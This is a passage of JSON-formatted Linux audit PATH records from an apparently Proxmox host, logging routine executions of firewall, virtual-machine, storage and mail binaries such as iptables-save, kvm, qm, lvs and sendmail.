{"@timestamp":1781965075832,"@rawstring":"node=pve type=PATH msg=audit(1781965075.832:64026): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075832,"@rawstring":"node=pve type=PATH msg=audit(1781965075.832:64026): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075826,"@rawstring":"node=pve type=PATH msg=audit(1781965075.826:64025): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075826,"@rawstring":"node=pve type=PATH msg=audit(1781965075.826:64025): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075818,"@rawstring":"node=pve type=PATH msg=audit(1781965075.818:64024): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075818,"@rawstring":"node=pve type=PATH msg=audit(1781965075.818:64024): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075814,"@rawstring":"node=pve type=PATH msg=audit(1781965075.814:64022): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075814,"@rawstring":"node=pve type=PATH msg=audit(1781965075.814:64022): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075808,"@rawstring":"node=pve type=PATH msg=audit(1781965075.808:64021): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075808,"@rawstring":"node=pve type=PATH msg=audit(1781965075.808:64021): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075802,"@rawstring":"node=pve type=PATH msg=audit(1781965075.802:64020): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075802,"@rawstring":"node=pve type=PATH msg=audit(1781965075.802:64020): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075798,"@rawstring":"node=pve type=PATH msg=audit(1781965075.798:64019): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075798,"@rawstring":"node=pve type=PATH msg=audit(1781965075.798:64019): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075792,"@rawstring":"node=pve type=PATH msg=audit(1781965075.792:64018): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075792,"@rawstring":"node=pve type=PATH msg=audit(1781965075.792:64018): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075786,"@rawstring":"node=pve type=PATH msg=audit(1781965075.786:64017): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075786,"@rawstring":"node=pve type=PATH msg=audit(1781965075.786:64017): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075779,"@rawstring":"node=pve type=PATH msg=audit(1781965075.779:64016): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075779,"@rawstring":"node=pve type=PATH msg=audit(1781965075.779:64016): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075772,"@rawstring":"node=pve type=PATH msg=audit(1781965075.772:64015): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075772,"@rawstring":"node=pve type=PATH msg=audit(1781965075.772:64015): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075768,"@rawstring":"node=pve type=PATH msg=audit(1781965075.768:64014): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075768,"@rawstring":"node=pve type=PATH msg=audit(1781965075.768:64014): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=PATH msg=audit(1781965075.763:64013): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=PATH msg=audit(1781965075.763:64013): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=PATH msg=audit(1781965075.763:64012): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=PATH msg=audit(1781965075.763:64012): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=PATH msg=audit(1781965075.763:64011): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075757,"@rawstring":"node=pve type=PATH msg=audit(1781965075.757:64010): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075757,"@rawstring":"node=pve type=PATH msg=audit(1781965075.757:64010): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075757,"@rawstring":"node=pve type=PATH msg=audit(1781965075.757:64010): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075751,"@rawstring":"node=pve type=PATH msg=audit(1781965075.751:64009): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075751,"@rawstring":"node=pve type=PATH msg=audit(1781965075.751:64009): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075743,"@rawstring":"node=pve type=PATH msg=audit(1781965075.743:64008): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075743,"@rawstring":"node=pve type=PATH msg=audit(1781965075.743:64008): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075738,"@rawstring":"node=pve type=PATH msg=audit(1781965075.738:64007): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075738,"@rawstring":"node=pve type=PATH msg=audit(1781965075.738:64007): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075731,"@rawstring":"node=pve type=PATH msg=audit(1781965075.731:64006): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075731,"@rawstring":"node=pve type=PATH msg=audit(1781965075.731:64006): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075723,"@rawstring":"node=pve type=PATH msg=audit(1781965075.723:64005): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075723,"@rawstring":"node=pve type=PATH msg=audit(1781965075.723:64005): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075528,"@rawstring":"node=pve type=PATH msg=audit(1781965075.528:64004): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075528,"@rawstring":"node=pve type=PATH msg=audit(1781965075.528:64004): item=0 name=\"/usr/lib/systemd/systemd-sysctl\" inode=263666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075525,"@rawstring":"node=pve type=PATH msg=audit(1781965075.525:64003): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075525,"@rawstring":"node=pve type=PATH msg=audit(1781965075.525:64003): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075525,"@rawstring":"node=pve type=PATH msg=audit(1781965075.525:64003): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075522,"@rawstring":"node=pve type=PATH msg=audit(1781965075.522:64002): item=0 name=\"\" inode=4420 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075521,"@rawstring":"node=pve type=PATH msg=audit(1781965075.521:64001): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075521,"@rawstring":"node=pve type=PATH msg=audit(1781965075.521:64001): item=0 name=\"/usr/bin/realpath\" inode=260885 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075519,"@rawstring":"node=pve type=PATH msg=audit(1781965075.519:64000): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075519,"@rawstring":"node=pve type=PATH msg=audit(1781965075.519:64000): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075519,"@rawstring":"node=pve type=PATH msg=audit(1781965075.519:64000): item=0 name=\"/usr/lib/udev/virtual-function-naming-helper\" inode=304861 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075517,"@rawstring":"node=pve type=PATH msg=audit(1781965075.517:63999): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075517,"@rawstring":"node=pve type=PATH msg=audit(1781965075.517:63999): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075517,"@rawstring":"node=pve type=PATH msg=audit(1781965075.517:63999): item=0 name=\"/usr/libexec/qemu-server/pve-bridge\" inode=310592 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075461,"@rawstring":"node=pve type=PATH msg=audit(1781965075.461:63998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075461,"@rawstring":"node=pve type=PATH msg=audit(1781965075.461:63998): item=0 name=\"/usr/bin/kvm\" inode=305063 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075400,"@rawstring":"node=pve type=PATH msg=audit(1781965075.400:63997): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075400,"@rawstring":"node=pve type=PATH msg=audit(1781965075.400:63997): item=0 name=\"/bin/systemctl\" inode=260947 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075389,"@rawstring":"node=pve type=PATH msg=audit(1781965075.389:63996): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075389,"@rawstring":"node=pve type=PATH msg=audit(1781965075.389:63996): item=0 name=\"/bin/systemctl\" inode=260947 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075377,"@rawstring":"node=pve type=PATH msg=audit(1781965075.377:63995): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075377,"@rawstring":"node=pve type=PATH msg=audit(1781965075.377:63995): item=0 name=\"/bin/systemctl\" inode=260947 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075329,"@rawstring":"node=pve type=PATH msg=audit(1781965075.329:63994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075329,"@rawstring":"node=pve type=PATH msg=audit(1781965075.329:63994): item=0 name=\"/usr/bin/kvm\" inode=305063 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075296,"@rawstring":"node=pve type=PATH msg=audit(1781965075.296:63993): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075296,"@rawstring":"node=pve type=PATH msg=audit(1781965075.296:63993): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075260,"@rawstring":"node=pve type=PATH msg=audit(1781965075.260:63992): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075260,"@rawstring":"node=pve type=PATH msg=audit(1781965075.260:63992): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965074053,"@rawstring":"node=pve type=PATH msg=audit(1781965074.053:63991): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965074053,"@rawstring":"node=pve type=PATH msg=audit(1781965074.053:63991): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965074025,"@rawstring":"node=pve type=PATH msg=audit(1781965074.025:63990): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965074025,"@rawstring":"node=pve type=PATH msg=audit(1781965074.025:63990): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072994,"@rawstring":"node=pve type=PATH msg=audit(1781965072.994:63989): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072994,"@rawstring":"node=pve type=PATH msg=audit(1781965072.994:63989): item=0 name=\"/usr/sbin/postdrop\" inode=292972 dev=fc:01 mode=0102555 ouid=0 ogid=105 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072989,"@rawstring":"node=pve type=PATH msg=audit(1781965072.989:63988): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072989,"@rawstring":"node=pve type=PATH msg=audit(1781965072.989:63988): item=0 name=\"/usr/sbin/sendmail\" inode=292989 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072982,"@rawstring":"node=pve type=PATH msg=audit(1781965072.982:63987): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072982,"@rawstring":"node=pve type=PATH msg=audit(1781965072.982:63987): item=0 name=\"/usr/libexec/proxmox-mail-forward\" inode=301234 dev=fc:01 mode=0104755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072907,"@rawstring":"node=pve type=PATH msg=audit(1781965072.907:63986): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072907,"@rawstring":"node=pve type=PATH msg=audit(1781965072.907:63986): item=0 name=\"/usr/sbin/postdrop\" inode=292972 dev=fc:01 mode=0102555 ouid=0 ogid=105 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072896,"@rawstring":"node=pve type=PATH msg=audit(1781965072.896:63985): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072896,"@rawstring":"node=pve type=PATH msg=audit(1781965072.896:63985): item=0 name=\"/usr/sbin/sendmail\" inode=292989 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072887,"@rawstring":"node=pve type=PATH msg=audit(1781965072.887:63984): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072887,"@rawstring":"node=pve type=PATH msg=audit(1781965072.887:63984): item=0 name=\"/bin/cp\" inode=260670 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965072887,"@rawstring":"node=pve type=PATH msg=audit(1781965072.887:63983): item=0 name=\"/sbin/cp\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071867,"@rawstring":"node=pve type=PATH msg=audit(1781965071.867:63982): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071867,"@rawstring":"node=pve type=PATH msg=audit(1781965071.867:63982): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071867,"@rawstring":"node=pve type=PATH msg=audit(1781965071.867:63982): item=0 name=\"/usr/sbin/qm\" inode=310596 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071861,"@rawstring":"node=pve type=PATH msg=audit(1781965071.861:63981): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071861,"@rawstring":"node=pve type=PATH msg=audit(1781965071.861:63981): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071861,"@rawstring":"node=pve type=PATH msg=audit(1781965071.861:63981): item=0 